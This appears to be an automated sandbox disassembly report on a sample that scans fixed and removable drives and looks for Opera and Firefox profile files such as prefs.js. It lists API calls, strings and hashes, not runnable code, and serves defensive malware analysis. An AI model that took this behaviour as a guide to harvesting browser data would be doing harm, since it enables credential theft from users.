Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 05ce9b4c9c81963e2c09c6a4b3d48b6f8b3419d138316b73f08259d1e16ac0f8
Instruction ID: 224e4487545fd5c59dff81b1e04a96f3760a5bbd1f5985f293393414681131aa
Opcode Fuzzy Hash: 05ce9b4c9c81963e2c09c6a4b3d48b6f8b3419d138316b73f08259d1e16ac0f8
Instruction Fuzzy Hash: F532967290116D9BCF60FB26DD46ADDB378AF00304F4155E1BA4877122DBB9AF85AF80

Function 00FF561A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FF5647
FindFirstFileA.KERNEL32(?,?), ref: 00FF565E
StrCmpCA.SHLWAPI(?,01015A68), ref: 00FF567F
StrCmpCA.SHLWAPI(?,01015A6C), ref: 00FF5699
lstrcatA.KERNEL32(?), ref: 00FF56EA
lstrcatA.KERNEL32(?), ref: 00FF56FD
lstrcatA.KERNEL32(?,?), ref: 00FF5711
lstrcatA.KERNEL32(?,?), ref: 00FF5724
lstrcatA.KERNEL32(?,01015A70), ref: 00FF5736
lstrcatA.KERNEL32(?,?), ref: 00FF574A

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

FindNextFileA.KERNEL32(?,?), ref: 00FF5800
FindClose.KERNEL32(?), ref: 00FF5814

Strings

%s\%s, xrefs: 00FF563B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 0d6601263f8a857720b19349100a612b58f91c1fed71a6eb398475d971a9247a
Instruction ID: d4448d7b609ba53ca610900d704f7226449464dd2e1dbb5801a28b563f21cacc
Opcode Fuzzy Hash: 0d6601263f8a857720b19349100a612b58f91c1fed71a6eb398475d971a9247a
Instruction Fuzzy Hash: 87514BB294021D9FCF60EB64DC89AD9B7BCAF49310F4045E5A748E3204EB35AB85CF65

Function 00FEC087 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindFirstFileA.KERNEL32(?,?,\*.*,0101584E,00FECDF2,?,?), ref: 00FEC0FF
StrCmpCA.SHLWAPI(?,010164A4), ref: 00FEC11F
StrCmpCA.SHLWAPI(?,010164A8), ref: 00FEC139
StrCmpCA.SHLWAPI(?,Opera,0101586F,01015867,01015863,0101585B,0101585A,01015857,0101584F), ref: 00FEC1C5
StrCmpCA.SHLWAPI(?,Opera GX), ref: 00FEC1D3
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 00FEC1E1

Strings

Opera GX, xrefs: 00FEC1CB
Opera Crypto, xrefs: 00FEC1D9
Opera, xrefs: 00FEC1BD
\*.*, xrefs: 00FEC0AD

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 150870b4bd43174b6e28e5e24586c3937456cf7c5ff89e3de271c99592816624
Instruction ID: 1dfbb551404818bc2b95f331412251bcfa6df11a9ded9b00652ef8d3104c071a
Opcode Fuzzy Hash: 150870b4bd43174b6e28e5e24586c3937456cf7c5ff89e3de271c99592816624
Instruction Fuzzy Hash: 2002B73294016D9BDB60FB26DD466DDB774AF00300F4145E1AA48B7126DFB9AF86AFC0

Function 00FF531F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00FF539F
_memset.LIBCMT ref: 00FF53C2
GetDriveTypeA.KERNEL32(?), ref: 00FF53CB
lstrcpyA.KERNEL32(?,?), ref: 00FF53EB
lstrcpyA.KERNEL32(?,?), ref: 00FF5406

Part of subcall function 00FF4EA5: wsprintfA.USER32 ref: 00FF4EF9
Part of subcall function 00FF4EA5: FindFirstFileA.KERNEL32(?,?), ref: 00FF4F10
Part of subcall function 00FF4EA5: _memset.LIBCMT ref: 00FF4F2C
Part of subcall function 00FF4EA5: _memset.LIBCMT ref: 00FF4F3D
Part of subcall function 00FF4EA5: StrCmpCA.SHLWAPI(?,010159E0), ref: 00FF4F5E
Part of subcall function 00FF4EA5: StrCmpCA.SHLWAPI(?,010159E4), ref: 00FF4F78
Part of subcall function 00FF4EA5: wsprintfA.USER32 ref: 00FF4F9F
Part of subcall function 00FF4EA5: StrCmpCA.SHLWAPI(?,01015616), ref: 00FF4FB3
Part of subcall function 00FF4EA5: wsprintfA.USER32 ref: 00FF4FDC
Part of subcall function 00FF4EA5: _memset.LIBCMT ref: 00FF5005
Part of subcall function 00FF4EA5: lstrcatA.KERNEL32(?,?), ref: 00FF501A

lstrcpyA.KERNEL32(?,00000000), ref: 00FF5427
lstrlenA.KERNEL32(?), ref: 00FF54A1

Strings

*%DRIVE_REMOVABLE%*, xrefs: 00FF536C
*%DRIVE_FIXED%*, xrefs: 00FF533B
%DRIVE_REMOVABLE%, xrefs: 00FF53F2
%DRIVE_FIXED%, xrefs: 00FF540D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: b7ca6dd7ba7ad8189d2dce835c85c6f7fc5dfd9bf1be1ef6a46327d1d7b354aa
Instruction ID: dbb2c5ab16e9c78ecf85d675a83c98555a197684b541912564ca906662078d64
Opcode Fuzzy Hash: b7ca6dd7ba7ad8189d2dce835c85c6f7fc5dfd9bf1be1ef6a46327d1d7b354aa
Instruction Fuzzy Hash: F0513AB190021CAFDF319FA5CC85AEABBB9FF05744F004099EB48A6111EB359E88DF55

Function 00FECEEB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FECF10
FindFirstFileA.KERNEL32(?,?), ref: 00FECF27
StrCmpCA.SHLWAPI(?,01016520), ref: 00FECF48
StrCmpCA.SHLWAPI(?,01016524), ref: 00FECF62

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

lstrlenA.KERNEL32(00FED569,010158B5,01016528,?,010158AF), ref: 00FECFF5
DeleteFileA.KERNEL32(?,01016540,010158B6,?,0101653C,01016538,01016534,01016530), ref: 00FED2D6
CopyFileA.KERNEL32(?,?,00000001), ref: 00FED2EA

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

FindNextFileA.KERNEL32(?,?), ref: 00FED3F0
FindClose.KERNEL32(?), ref: 00FED404

Strings

%s\*.*, xrefs: 00FECF0A

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 3967855609-1013718255
Opcode ID: 998b2dbb31734aaf263cb02a81077ad1402e68d8a66c150904c14fee5619e2ba
Instruction ID: 77028e383c68ca412375b8ba9625977573f0466322f5a68a101ee8dee1c8d2d4
Opcode Fuzzy Hash: 998b2dbb31734aaf263cb02a81077ad1402e68d8a66c150904c14fee5619e2ba
Instruction Fuzzy Hash: 4DD19A3290116D9AEF60FB25DD42AED7774AF44300F4104E1AA08B7127DAB97F85AFC1

Function 6CD240D0 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te knd 3expand 32-by, xrefs: 6CD24386
expa, xrefs: 6CD24499
2-byexpa, xrefs: 6CD2438D
2-by, xrefs: 6CD2412E
te k, xrefs: 6CD2437F
nd 3, xrefs: 6CD2414F
expand 32-by, xrefs: 6CD24400
nd 32-by, xrefs: 6CD244EC
2-by, xrefs: 6CD243A6
expand 3, xrefs: 6CD2451D
te k, xrefs: 6CD243EC
te k, xrefs: 6CD24576
expa, xrefs: 6CD245F3

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: f007c44e4c4bf333df918481b702c192f902f831696d9f049be4788adeca95a0
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 16E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 00FED77A Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindFirstFileA.KERNEL32(?,?,010165A4,010158DE,?,?,?), ref: 00FED7FB
StrCmpCA.SHLWAPI(?,010165A8), ref: 00FED81C
StrCmpCA.SHLWAPI(?,010165AC), ref: 00FED836
StrCmpCA.SHLWAPI(?,prefs.js,010165B0,?,010158DF), ref: 00FED8C2

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

CopyFileA.KERNEL32(?,?,00000001), ref: 00FED99C
DeleteFileA.KERNEL32(?), ref: 00FEDA67
FindNextFileA.KERNEL32(?,?), ref: 00FEDB0A
FindClose.KERNEL32(?), ref: 00FEDB1E

Strings

prefs.js, xrefs: 00FED8B6

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 84fd528ce7583de5e26282625443cb4826e5342eb8c281a5377e8b1a9bfb6c0e
Instruction ID: aeab9cc38a66d363c8d812df4f061cb283109da4f38e01d07620a7d1a7c7cf2e
Opcode Fuzzy Hash: 84fd528ce7583de5e26282625443cb4826e5342eb8c281a5377e8b1a9bfb6c0e
Instruction Fuzzy Hash: 78A1093290016C9BDB60FB25DC46BDD7374AF05310F8145E1EA08B7266DA79AF89AFC1

Function 00FEBA79 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

